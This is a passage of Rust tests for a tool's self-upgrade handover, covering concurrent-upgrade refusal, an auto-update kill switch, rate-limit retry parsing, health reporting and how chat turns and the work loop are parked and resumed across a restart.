20580 .expect("publish a heartbeat");
20581
20582 let res = fx.post("/api/upgrade", None).await;
20583 assert_eq!(res.status, 409);
20584 let err = res.json()["error"].as_str().unwrap().to_owned();
20585 assert!(err.contains("4321"), "the refusal names the owner: {err}");
20586 assert!(err.contains("old one against the same queue"), "{err}");
20587 }
20588
20589 #[test]
20596 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20597 assert!(!should_spawn_recheck(&crate::config::Update {
20598 mode: UpdateMode::Off,
20599 interval: None,
20600 }));
20601
20602 unsafe {
20605 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20606 }
20607 let killed = should_spawn_recheck(&crate::config::Update {
20608 mode: UpdateMode::Notify,
20609 interval: None,
20610 });
20611 unsafe {
20612 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20613 }
20614 assert!(
20615 !killed,
20616 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20617 one-time startup check"
20618 );
20619
20620 assert!(should_spawn_recheck(&crate::config::Update {
20621 mode: UpdateMode::Notify,
20622 interval: None,
20623 }));
20624 }
20625
20626 #[test]
20632 fn recheck_poll_period_tracks_a_short_configured_interval() {
20633 let short = crate::config::Update {
20634 mode: UpdateMode::Notify,
20635 interval: Some("1m".to_owned()),
20636 };
20637 let period = recheck_poll_period(&short);
20638 assert!(
20639 period <= Duration::from_secs(30),
20640 "a one-minute interval must wake the task far sooner than the \
20641 default ceiling, or the deck would not notice within the \
20642 interval the operator configured: got {period:?}"
20643 );
20644
20645 let default = crate::config::Update {
20646 mode: UpdateMode::Notify,
20647 interval: None,
20648 };
20649 assert_eq!(
20650 recheck_poll_period(&default),
20651 UPDATE_RECHECK_POLL_MAX,
20652 "the default day-long interval should poll at the (capped) \
20653 ceiling rather than needlessly often"
20654 );
20655 }
20656
20657 #[test]
20665 fn recheck_skips_the_network_before_the_interval_elapses() {
20666 let dir = TempDir::new().expect("temp dir");
20667 let path = dir.path().join("state.json");
20668 let state = kaishin::UpdateCheckState {
20669 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20670 last_known_latest: None,
20671 last_known_url: None,
20672 };
20673 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20674
20675 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20676 assert!(
20677 !update_recheck_due(&checker, None),
20678 "a check made moments ago must not be repeated before the \
20679 configured interval elapses"
20680 );
20681 }
20682
20683 #[test]
20689 fn recheck_defers_to_an_upgrade_already_in_flight() {
20690 let dir = TempDir::new().expect("temp dir");
20691 let path = dir.path().join("state.json");
20692 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20693 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20694
20695 assert!(
20696 !update_recheck_due(&checker, Some(&progress)),
20697 "a recheck must not run while an upgrade this deck started is \
20698 still moving"
20699 );
20700 }
20701
20702 #[tokio::test]
20703 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20704 unsafe {
20716 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20717 }
20718 let fx = Fixture::start().await;
20719 let res = fx.post("/api/upgrade", None).await;
20720 unsafe {
20721 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20722 }
20723 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20724 let body = res.json();
20725 assert!(body["to"].is_null(), "there was no release to move to");
20726 assert!(body["parked"].is_null(), "and nothing was parked");
20727 assert!(
20728 body["detail"]
20729 .as_str()
20730 .unwrap()
20731 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20732 "{body:?}"
20733 );
20734 }
20735
20736 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20737 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20738 p.stage = stage;
20739 p
20740 }
20741
20742 #[test]
20743 fn busy_stages_match_the_ui_set() {
20744 use crate::updater::Stage;
20745 assert!(APP_JS.contains(
20746 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20747 ));
20748 for s in [
20749 Stage::Downloading,
20750 Stage::Replaced,
20751 Stage::Parking,
20752 Stage::Restarting,
20753 ] {
20754 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20755 }
20756 for s in [Stage::Done, Stage::Failed] {
20757 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20758 }
20759 assert!(upgrade_in_motion(None).is_none());
20760 }
20761
20762 #[tokio::test]
20763 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20764 use crate::updater::Stage;
20765 for stage in [
20766 Stage::Downloading,
20767 Stage::Replaced,
20768 Stage::Parking,
20769 Stage::Restarting,
20770 ] {
20771 let fx = Fixture::start().await;
20772 let seeded = seeded_progress(stage);
20773 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20774 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20775 .expect("read");
20776
20777 let res = fx.post("/api/upgrade", None).await;
20778 assert_eq!(res.status, 409, "{stage:?}");
20779 let err = res.json()["error"].as_str().unwrap().to_owned();
20780 assert!(err.contains("already in progress"), "{err}");
20781 assert!(err.contains(stage.as_str()), "{err}");
20782
20783 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20784 .expect("read");
20785 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20786 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20787 .unwrap_or_default();
20788 assert!(!log.contains("signalling HANDOVER"), "{log}");
20789 }
20790 }
20791
20792 #[test]
20793 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20794 assert_eq!(
20795 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20796 Some(3723)
20797 );
20798 assert_eq!(
20799 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20800 Some(60)
20801 );
20802 assert_eq!(
20803 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20804 Some(0)
20805 );
20806 for message in [
20807 "permission denied",
20808 "GitHub API rate limit exceeded",
20809 "GitHub rate limit (resets in unknown)",
20810 "GitHub rate limit (resets in 18446744073709551615d)",
20811 ] {
20812 assert_eq!(upgrade_retry_after(message), None, "{message}");
20813 }
20814 }
20815
20816 #[tokio::test]
20817 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20818 let home = TempDir::new().unwrap();
20819 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20820 ui.start_loop(None).unwrap();
20821 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20822 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20823 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20824 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20825 let response = finish_upgrade_request(&ui, result);
20826 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20827 assert_eq!(response.headers()["retry-after"], "120");
20828 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20829 .await
20830 .unwrap();
20831 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20832 assert!(body["error"].as_str().unwrap().contains(reason));
20833 assert_eq!(body["retry_after_secs"], 120);
20834 assert!(body["retry_at"].as_u64().is_some());
20835 for _ in 0..2 {
20836 let view = health(State(ui.clone())).await.unwrap().0;
20837 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20838 assert_eq!(failure, body);
20839 }
20840 assert_eq!(
20841 std::fs::read(updater::progress_path(home.path())).unwrap(),
20842 before
20843 );
20844 assert!(!ui.lock_loop().resume_after_handover);
20845 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20846 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20847 let gate = ui.upgrade_gate.lock().await;
20849 assert_eq!(
20850 upgrade_post(State(ui.clone())).await.status(),
20851 StatusCode::CONFLICT
20852 );
20853 drop(gate);
20854 assert!(
20855 health(State(ui.clone()))
20856 .await
20857 .unwrap()
20858 .0
20859 .upgrade_request_error
20860 .is_some()
20861 );
20862 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20863 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20864 assert!(
20865 health(State(ui.clone()))
20866 .await
20867 .unwrap()
20868 .0
20869 .upgrade_request_error
20870 .is_none()
20871 );
20872 let live = ui.lock_loop().live.take().unwrap();
20873 live.stop.stop();
20874 live.handle.await.unwrap();
20875 }
20876
20877 #[tokio::test]
20878 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20879 use crate::updater::Stage;
20880 let repo = TempDir::new().expect("repo dir");
20881 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20882 .expect("write magi.toml");
20883 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20884 for stage in [Stage::Done, Stage::Failed] {
20885 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20886 let res = fx.post("/api/upgrade", None).await;
20887 assert_eq!(res.status, 200, "{stage:?}");
20888 }
20889 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20891 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20892 }
20893
20894 #[tokio::test]
20895 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20896 let repo = TempDir::new().expect("repo dir");
20912 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20913 .expect("write magi.toml");
20914 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20915
20916 let res = fx.post("/api/upgrade", None).await;
20922 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20923 let body = res.json();
20924 assert!(body["to"].is_null(), "there was no release to move to");
20925 assert!(body["parked"].is_null(), "and nothing was parked");
20926 assert!(
20927 body["detail"]
20928 .as_str()
20929 .unwrap()
20930 .contains("nothing restarted"),
20931 "{body:?}"
20932 );
20933 }
20934
20935 #[tokio::test]
20936 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20937 let repo = TempDir::new().expect("repo dir");
20942 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20943 .expect("write magi.toml");
20944 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20945
20946 let health = fx.get("/api/health").await.json();
20947 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20948 assert_eq!(
20949 health["update"]["available"], false,
20950 "checking is off, which reads as \"unknown\", not \"none\""
20951 );
20952 assert!(health["update"]["to"].is_null());
20953 assert!(
20954 health["upgrade"].is_null(),
20955 "nothing has ever asked this deck to upgrade"
20956 );
20957 }
20958
20959 #[tokio::test]
20960 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20961 let fx = Fixture::start().await;
20962 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20963
20964 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20965 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20966 progress.advance(crate::updater::Stage::Parking);
20967 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20968
20969 let health = fx.get("/api/health").await.json();
20970 assert_eq!(health["upgrade"]["stage"], "parking");
20971 assert_eq!(health["upgrade"]["from"], "0.5.1");
20972 assert_eq!(health["upgrade"]["to"], "0.5.2");
20973 let waiting_on = health["upgrade"]["waiting_on"]
20974 .as_str()
20975 .expect("waiting_on is set while parking a known run");
20976 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20977 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20978 }
20979
20980 #[tokio::test]
20981 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20982 let fx = Fixture::start().await;
20983 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20984 progress.advance(crate::updater::Stage::Done);
20985 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20986
20987 let health = fx.get("/api/health").await.json();
20988 assert_eq!(health["upgrade"]["stage"], "done");
20989 assert!(
20990 health["upgrade"]["waiting_on"].is_null(),
20991 "nothing to wait on once it is done"
20992 );
20993 }
20994
20995 #[tokio::test]
20996 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20997 let home = TempDir::new().expect("temp home");
20998 let runs = home.path().join("runs");
20999 std::fs::create_dir_all(&runs).expect("runs dir");
21000 let ui = Ui::new(
21001 Queue::at(home.path().join("queue")),
21002 Questions::at(home.path().join("questions")),
21003 Talks::at(home.path().join("talks")),
21004 runs,
21005 home.path().to_path_buf(),
21006 PathBuf::from("/repo/magi"),
21007 )
21008 .with_launch(launch_idle);
21009 let looping = ui.looping();
21010 let turns = ui.turns();
21011 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21012 .await
21013 .expect("bind loopback");
21014 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21015
21016 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21017 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21018
21019 hand_over(
21020 home.path(),
21021 &looping,
21022 &turns,
21023 &|_: &[String]| Duration::from_secs(5),
21024 served,
21025 |_| Ok(1),
21026 )
21027 .await
21028 .expect("hand over");
21029
21030 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21031 assert_eq!(
21032 after.stage,
21033 crate::updater::Stage::Restarting,
21034 "hand_over owns the record through parking and up to restarting; \
21035 the successor is what finishes it"
21036 );
21037 }
21038
21039 #[tokio::test]
21042 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21043 for fail in [false, true] {
21044 let home = TempDir::new().expect("temp home");
21045 let ui = idle_ui(&home);
21046 let looping = ui.looping();
21047 let turns = ui.turns();
21048 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21049 .await
21050 .expect("bind loopback");
21051 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21052 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21053 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21054
21055 let calls = std::sync::atomic::AtomicUsize::new(0);
21056 let outcome = hand_over(
21057 home.path(),
21058 &looping,
21059 &turns,
21060 &|_: &[String]| Duration::from_secs(5),
21061 served,
21062 |_| {
21063 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21064 if fail {
21065 anyhow::bail!("no exec")
21066 } else {
21067 Ok(4242)
21068 }
21069 },
21070 )
21071 .await;
21072 assert_eq!(outcome.is_err(), fail);
21073 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21074
21075 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
21076 .expect("upgrade.log is written under the home");
21077 for step in [
21078 "entered",
21079 "finish_loop",
21080 "listener released",
21081 "starting the successor",
21082 ] {
21083 assert!(log.contains(step), "missing `{step}` in:\n{log}");
21084 }
21085 assert!(
21086 log.contains(if fail { "did not start" } else { "pid 4242" }),
21087 "{log}"
21088 );
21089 }
21090 }
21091
21092 #[tokio::test]
21095 async fn the_handover_signal_wakes_one_waiter_once() {
21096 let signal = Notify::new();
21097 signal.notify_one();
21099 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21100 .await
21101 .expect("an early signal is still seen");
21102 assert!(
21104 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21105 .await
21106 .is_err(),
21107 "a consumed signal must not wake a second time"
21108 );
21109 let signal = std::sync::Arc::new(signal);
21111 let waiter = tokio::spawn({
21112 let signal = std::sync::Arc::clone(&signal);
21113 async move { wait_for_handover(&signal).await }
21114 });
21115 tokio::time::sleep(Duration::from_millis(20)).await;
21116 assert!(!waiter.is_finished(), "nothing was signalled yet");
21117 signal.notify_one();
21118 tokio::time::timeout(Duration::from_secs(5), waiter)
21119 .await
21120 .expect("a late signal wakes the waiter")
21121 .expect("join");
21122 }
21123
21124 #[tokio::test]
21125 async fn health_says_how_long_a_handover_has_been_stuck() {
21126 let fx = Fixture::start().await;
21127 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21128 progress.advance(crate::updater::Stage::Replaced);
21129 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21130 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21131
21132 let health = fx.get("/api/health").await.json();
21133 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21134 assert!(stuck >= 600, "{stuck}");
21135 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21136 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21137 }
21138
21139 #[tokio::test]
21140 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21141 let home = tempfile::tempdir().expect("temp home");
21142 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21143 progress.advance(crate::updater::Stage::Parking);
21144 crate::updater::write_progress(home.path(), &progress).expect("seed");
21145 let mut again = progress.clone();
21147 again.advance(crate::updater::Stage::Replaced);
21148 crate::updater::write_progress(home.path(), &again).expect("replaced");
21149 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21150 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21151 let after = crate::updater::read_progress(home.path()).expect("record");
21152 assert_eq!(after.stage, crate::updater::Stage::Parking);
21153 }
21154
21155 #[tokio::test]
21156 async fn health_does_not_call_a_live_parking_wait_stuck() {
21157 let fx = Fixture::start().await;
21158 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21159 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21160 progress.advance(crate::updater::Stage::Parking);
21161 let hours = Duration::from_secs(3 * 3600);
21162 progress.started_at = Timestamp::now() - hours;
21163 progress.updated_at = Timestamp::now() - hours;
21164 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21165 let _lease = crate::updater::LeaseGuard::enter(
21166 fx.home.path(),
21167 Some("20260905-000000-cd51".to_owned()),
21168 );
21169
21170 let health = fx.get("/api/health").await.json();
21171 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
21172 assert!(health["upgrade"]["stuck_kind"].is_null());
21173 assert_eq!(health["upgrade"]["handover_alive"], true);
21174 let waiting_on = health["upgrade"]["waiting_on"]
21175 .as_str()
21176 .expect("waiting_on");
21177 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21178 }
21179
21180 fn idle_ui(home: &TempDir) -> Ui {
21181 let runs = home.path().join("runs");
21182 std::fs::create_dir_all(&runs).expect("runs dir");
21183 Ui::new(
21184 Queue::at(home.path().join("queue")),
21185 Questions::at(home.path().join("questions")),
21186 Talks::at(home.path().join("talks")),
21187 runs,
21188 home.path().to_path_buf(),
21189 PathBuf::from("/repo/magi"),
21190 )
21191 .with_launch(launch_idle)
21192 }
21193
21194 async fn park_fixture(
21195 home: &TempDir,
21196 ) -> (
21197 Ui,
21198 Arc<Mutex<LoopState>>,
21199 Arc<Mutex<TalkTurns>>,
21200 tokio::task::JoinHandle<std::io::Result<()>>,
21201 ) {
21202 let ui = idle_ui(home);
21203 let looping = ui.looping();
21204 let turns = ui.turns();
21205 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21206 .await
21207 .expect("bind loopback");
21208 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
21209 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21210 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21211 (ui, looping, turns, served)
21212 }
21213
21214 #[tokio::test]
21218 async fn hand_over_waits_for_a_running_chat_turn() {
21219 let home = TempDir::new().expect("temp home");
21220 let (ui, looping, turns, served) = park_fixture(&home).await;
21221 let ui = Arc::new(ui);
21222 let id = "20260901-000000-chat";
21223 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21224
21225 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21226 let handover = tokio::spawn({
21227 let home = home.path().to_path_buf();
21228 let turns = Arc::clone(&turns);
21229 let calls = Arc::clone(&calls);
21230 async move {
21231 hand_over(
21232 &home,
21233 &looping,
21234 &turns,
21235 &|_: &[String]| Duration::from_secs(60),
21236 served,
21237 move |_| {
21238 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21239 Ok(1)
21240 },
21241 )
21242 .await
21243 }
21244 });
21245
21246 let waiting = async {
21247 for _ in 0..200 {
21248 if crate::updater::read_progress(home.path())
21249 .is_some_and(|p| p.parked_talks == [id.to_owned()])
21250 {
21251 return;
21252 }
21253 tokio::time::sleep(Duration::from_millis(25)).await;
21254 }
21255 panic!("the park never named the chat turn");
21256 };
21257 waiting.await;
21258 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21259
21260 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21263 assert!(
21264 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21265 "a direct start says an upgrade is in progress"
21266 );
21267 assert!(
21268 ui.begin_queued_talk_turn("20260901-000000-late")
21269 .expect("queued claim")
21270 .is_none()
21271 );
21272 assert!(matches!(
21273 ui.begin_talk_turn_unless_pending("20260901-000000-late")
21274 .expect("start"),
21275 TalkTurnStart::Busy
21276 ));
21277 assert_eq!(turns.lock().unwrap().live.len(), 1);
21278
21279 let progress = crate::updater::read_progress(home.path()).expect("progress");
21281 let view = upgrade_progress_view(&ui, progress);
21282 assert!(
21283 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
21284 "{:?}",
21285 view.waiting_on
21286 );
21287
21288 assert!(!handover.is_finished());
21289 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21290 drop(turn);
21291 handover.await.expect("join").expect("hand over");
21292 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21293 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21294 }
21295
21296 #[tokio::test]
21299 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
21300 let home = TempDir::new().expect("temp home");
21301 let (ui, looping, turns, served) = park_fixture(&home).await;
21302 let ui = Arc::new(ui);
21303 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
21305 lock_or_recover(&looping).live = Some(Live {
21306 stop: daemon::Stop::new(),
21307 handle: tokio::spawn(async move {
21308 let _ = loop_ended.await;
21309 }),
21310 opts: daemon::Opts::default(),
21311 });
21312
21313 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21314 let handover = tokio::spawn({
21315 let home = home.path().to_path_buf();
21316 let turns = Arc::clone(&turns);
21317 let calls = Arc::clone(&calls);
21318 async move {
21319 hand_over(
21320 &home,
21321 &looping,
21322 &turns,
21323 &|_: &[String]| Duration::from_secs(60),
21324 served,
21325 move |_| {
21326 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21327 Ok(1)
21328 },
21329 )
21330 .await
21331 }
21332 });
21333
21334 let reached = async {
21335 for _ in 0..200 {
21336 if crate::updater::read_progress(home.path())
21337 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
21338 {
21339 return;
21340 }
21341 tokio::time::sleep(Duration::from_millis(25)).await;
21342 }
21343 panic!("the hand-over never reached parking");
21344 };
21345 reached.await;
21346
21347 assert!(!turns.lock().unwrap().parking);
21349 let turn = ui
21350 .begin_talk_turn("20260901-000000-chat")
21351 .expect("claim")
21352 .expect("a turn can start while the loop parks");
21353
21354 end_loop.send(()).expect("loop still waiting");
21356 for _ in 0..200 {
21357 if turns.lock().unwrap().parking {
21358 break;
21359 }
21360 tokio::time::sleep(Duration::from_millis(25)).await;
21361 }
21362 assert!(
21363 turns.lock().unwrap().parking,
21364 "closed once the loop is done"
21365 );
21366 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21367 assert!(
21368 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21369 "no turn starts once the loop is done"
21370 );
21371 assert!(
21372 ui.begin_queued_talk_turn("20260901-000000-late")
21373 .expect("queued claim")
21374 .is_none()
21375 );
21376 assert!(!handover.is_finished());
21377 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21378
21379 drop(turn);
21380 handover.await.expect("join").expect("hand over");
21381 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21382 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21383 }
21384
21385 #[tokio::test]
21388 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
21389 let home = TempDir::new().expect("temp home");
21390 let (ui, looping, turns, served) = park_fixture(&home).await;
21391 let id = "20260901-000000-stuk";
21392 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21393
21394 let calls = std::sync::atomic::AtomicUsize::new(0);
21395 hand_over(
21396 home.path(),
21397 &looping,
21398 &turns,
21399 &|_: &[String]| Duration::from_millis(300),
21400 served,
21401 |_| {
21402 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21403 Ok(1)
21404 },
21405 )
21406 .await
21407 .expect("hand over");
21408 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21409
21410 let progress = crate::updater::read_progress(home.path()).expect("progress");
21411 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
21412 assert!(
21413 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
21414 "{:?}",
21415 progress.detail
21416 );
21417 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
21418 assert!(
21419 log.contains("handing over anyway") && log.contains(id),
21420 "{log}"
21421 );
21422 }
21423
21424 #[tokio::test]
21427 async fn drain_loop_starts_no_turn_while_parking() {
21428 let tmp = TempDir::new().expect("tempdir");
21429 let repo = tmp.path().join("repo");
21430 std::fs::create_dir_all(&repo).expect("repo dir");
21431 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
21432 let home = TempDir::new().expect("temp home");
21433 let talks = Talks::at(home.path().join("talks"));
21434 let ui = Ui::new(
21435 Queue::at(home.path().join("queue")),
21436 Questions::at(home.path().join("questions")),
21437 talks.clone(),
21438 home.path().join("runs"),
21439 home.path().to_path_buf(),
21440 repo.clone(),
21441 )
21442 .with_worktrees_root(home.path().join("wt"));
21443 let cfg = config_for(&repo).await.expect("discover config");
21444 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
21445 let id = talk.id.clone();
21446 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
21447 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
21448 let turns = ui.turns();
21449 let parking = ParkingTurns::begin(&turns);
21450
21451 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
21452
21453 assert!(
21454 turns.lock().unwrap().live.is_empty(),
21455 "the slot is given up"
21456 );
21457 let fresh = talks.get(&id).expect("talk");
21458 assert_eq!(fresh.pending, "later", "the draft is still queued");
21459 assert!(fresh.turns.is_empty(), "no turn ran");
21460 drop(parking);
21461 }
21462
21463 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21465 let looping = ui.looping();
21466 let turns = ui.turns();
21467 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21468 .await
21469 .expect("bind loopback");
21470 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21471 let told = std::sync::Mutex::new(None);
21472 hand_over(
21473 home.path(),
21474 &looping,
21475 &turns,
21476 &|_: &[String]| Duration::from_secs(5),
21477 served,
21478 |resume| {
21479 *told.lock().unwrap() = Some(resume);
21480 Ok(1)
21481 },
21482 )
21483 .await
21484 .expect("hand over");
21485 told.into_inner().unwrap().expect("successor was started")
21486 }
21487
21488 #[tokio::test]
21489 async fn a_running_loop_is_resumed_by_the_successor() {
21490 let home = TempDir::new().expect("temp home");
21491 let ui = idle_ui(&home);
21492 ui.start_loop(None).expect("start");
21493 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21494 for _ in 0..500 {
21496 if !ui.loop_view(None).running {
21497 break;
21498 }
21499 tokio::time::sleep(Duration::from_millis(2)).await;
21500 }
21501 assert!(handed_over(&home, ui).await, "a running loop must resume");
21502
21503 let successor = idle_ui(&home);
21504 assert!(!successor.loop_view(None).running);
21505 assert!(successor.resume_after_handover(true));
21506 assert!(successor.loop_view(None).running);
21507 successor.stop_loop(None, false).expect("stop");
21508 }
21509
21510 #[tokio::test]
21511 async fn a_second_upgrade_request_keeps_the_resume_intent() {
21512 let home = TempDir::new().expect("temp home");
21513 let ui = idle_ui(&home);
21514 ui.start_loop(None).expect("start");
21515 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21516 .expect("first park");
21517 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21518 .expect("second park");
21519 assert!(handed_over(&home, ui).await);
21520 }
21521
21522 #[tokio::test]
21523 async fn a_stop_during_the_handover_wait_is_honoured() {
21524 let home = TempDir::new().expect("temp home");
21525 let ui = idle_ui(&home);
21526 ui.start_loop(None).expect("start");
21527 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21528 ui.stop_loop(None, false).expect("stop");
21529 assert!(!handed_over(&home, ui).await);
21530 }
21531
21532 #[tokio::test]
21533 async fn an_idle_loop_stays_stopped_across_the_handover() {
21534 let home = TempDir::new().expect("temp home");
21535 let ui = idle_ui(&home);
21536 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21537 assert!(!handed_over(&home, ui).await);
21538
